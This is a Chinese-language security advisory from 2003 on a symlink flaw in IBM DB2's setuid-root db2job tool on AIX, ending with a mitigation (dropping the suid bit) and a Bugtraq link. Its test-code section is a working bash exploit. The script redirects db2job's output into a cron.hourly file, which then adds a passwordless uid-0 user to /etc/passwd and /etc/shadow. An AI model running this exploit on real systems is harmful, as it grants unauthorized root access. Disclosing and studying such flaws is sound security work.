IBM DB2 db2job文件非授权覆盖漏洞发布时间:2003-08-05 更新时间:2003-08-05 严重程度:高 威胁程度:权限提升 错误类型:访问验证错误 利用方式:服务器模式 BUGTRAQ ID:8344 受影响系统 IBM DB2 Universal Database for AIX 6.0详细描述 IBM的DB2数据库带了一个db2job的工具,此程序以4550的属性安装,用户及属组是root.db2job。db2job在运行时会以root用户权限写一些文件,这些文件创建属性是0770,用户和属组是root.db2asgrp,如果本地攻击创建文件链接指向系统安全敏感文件如 /etc/passwd、/etc/shadow,这些文件将被重写。虽然db2job程序不是全局可执行的,只有db2asgrp组的两个成员db2as和db2inst1可执行,但如果攻击者能获取这两个用户的访问权限,他们则有可能提升自己在系统中的权限。 测试代码 #!/bin/bash DB2JOB=/home/db2as/sqllib/adm/db2job CRONFILE=/etc/cron.hourly/pakito USER=pakito unset DB2INSTANCE export DB2DIR=./trash if [ -d $DB2DIR ]; then echo Trash directory already created else mkdir $DB2DIR fi cd $DB2DIR if [ -f ./0_1.out ]; then echo Link Already Created else ln -s $CRONFILE ./0_1.out fi $DB2JOB echo "echo "#!/bin/bash"" > $CRONFILE echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE echo " must wait until cron execute $CRONFILE and then exec su pakito" 解决方案 可以考虑去掉db2job程序的suid root位。 相关信息 Local Vulnerability in IBM DB2 7.1 db2job binary http://archives.neohapsis.com/archives/bugtraq/2003-08/0047.html |